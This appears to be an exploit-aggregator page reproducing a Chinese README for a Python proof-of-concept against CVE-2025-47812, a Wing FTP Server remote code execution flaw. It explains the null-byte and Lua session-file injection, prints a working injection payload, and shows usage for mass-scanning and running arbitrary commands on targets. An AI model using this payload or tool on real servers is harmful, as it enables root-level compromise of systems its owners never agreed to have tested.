Sploitus

Exploit for CVE-2025-47812-poc

kitploit · 2026-08-31

Exploit Code

MARKDOWN85 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-4M3RR0R-CVE-2025-47812-POC
# CVE-2025-47812

Wing FTP Server 远程代码执行(RCE)漏洞利用工具 (CVE-2025-47812)

> 📌 **致谢** :漏洞由 Julien (@MrTuxracer) 发现。  
>  本 PoC 实现基于其原始研究成果。

本仓库包含针对 **Wing FTP Server 远程代码执行漏洞(CVE-2025-47812)** 的 Python 漏洞利用代码。该严重缺陷允许攻击者在受影响的 Wing FTP Server 实例上以 root/SYSTEM 身份实现远程代码执行,即使仅启用了匿名访问。

## 🚀 概述

该漏洞源于 Wing FTP Server 在认证过程中对用户名参数中的 NULL 字节处理不当。攻击者可借此将 Lua 代码直接注入会话文件。当有效会话被加载时,这些恶意会话文件会被执行,从而导致服务器上的任意命令执行。

**该漏洞利用工具的主要特点包括:**

  * **远程代码执行:** 在目标服务器上执行任意命令。
  * **root/SYSTEM 权限:** 由于 Wing FTP Server 的默认配置,通常以最高系统权限实现 RCE。
  * **匿名访问利用:** 即使服务器仅允许匿名登录,也可加以利用。
  * **批量扫描:** 通过提供包含 URL 列表的文件来扫描多个目标。
  * **自定义命令执行:** 指定并运行易受攻击服务器上的任意命令。



## ⚠️ 免责声明

本工具仅用于 **教育和授权渗透测试目的** 。作者不对任何因使用本软件而导致的滥用或损坏承担责任。在对系统进行任何测试之前,请务必获得明确的书面许可。

## 🔎 漏洞详情 (CVE-2025-47812)

> 该漏洞由 Julien (@MrTuxracer) 发现并详细记录。查看原始分析文章:  
>  What the NULL?! Wing FTP Server RCE (CVE-2025-47812)

**CVE-2025-47812** 是一个严重漏洞,源于 Wing FTP Server 在管理用户认证和会话时存在的多个弱点:

  1. **`c_CheckUser()` 中的 NULL 字节截断:** 负责用户认证的 `c_CheckUser()` 函数在内部对提供的用户名使用 `strlen()`。当用户名中注入 **NULL 字节(`%00`)**(例如 `anonymous%00...`)时,`strlen()` 会在该位置截断字符串。这意味着认证仅对 NULL 字节 _之前_ 的用户名部分成功,从而有效绕过了正确的验证。
  2. **会话创建中的完整用户名:** 尽管认证被截断,但 `loginok.html` 中的 `rawset(_SESSION, "username", username)` 调用使用的是来自 GET 或 POST 参数的 _完整_ 、未净化的用户名。其中包含 NULL 字节及其后的任何字符。
  3. **Lua 代码注入:** 由于会话文件以 Lua 脚本形式存储,将用户名中 NULL 字节后的 Lua 代码注入(例如 `anonymous%00]]%0dlocal+h+%3d+io.popen("id")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--`)会导致恶意代码直接被写入会话文件。
  4. **会话文件执行:** 当访问任何需要认证的功能(如 `/dir.html`)时,`SessionModule.load()` 函数会被调用。该函数使用 `loadfile(filepath)` 后跟 `f()` 直接执行会话文件。这一关键步骤会触发注入的 Lua 代码,从而导致 **远程代码执行** 。



该漏洞尤其严重,因为 Wing FTP Server 默认通常以 **Linux 上的 root 权限** 或 **Windows 上的 SYSTEM 权限** 运行。这种默认配置使得攻击者在成功利用后能够对被入侵系统获得最大控制权。

**受影响版本:** **7.4.4** 之前的 Wing FTP Server 版本存在漏洞。

## 🛠️ 使用选项

本脚本支持多种命令行参数以定制其功能。

root@kitploit:~
    
    
    python3 CVE-2025-47812.py -h
    
    

root@kitploit:~
    
    
    usage: CVE-2025-47812.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
    
    通过 login.html 进行命令注入的漏洞利用脚本。
    
    options:
      -h, --help            显示此帮助信息并退出
      -u URL, --url URL     目标 URL(例如 [http://192.168.134.130](http://192.168.134.130))。若未指定 -f 则必需。
      -f FILE, --file FILE  包含目标 URL 列表的文件(每行一个)。
      -c COMMAND, --command COMMAND
                            要执行的自定义命令。默认值:whoami。若指定此参数,则自动启用详细输出。
      -v, --verbose         显示完整命令输出(详细模式)。若使用 -c 则忽略,因为详细输出会自动启用。
      -o OUTPUT, --output OUTPUT
                            用于保存易受攻击 URL 的文件。
      -U USERNAME, --username USERNAME
                            漏洞利用载荷中使用的用户名。默认值:anonymous
    

root@kitploit:~
    
    
    python3 CVE-2025-47812.py -u http://192.168.134.130 -c ipconfig
    
    

![alt text](https://assets.kitploit.com/production/public/readmes/14745/d95b36d2a574f56e1ebfe00a807d83f69e7224b6258d580ee35f7e8ff9ea2feb.png)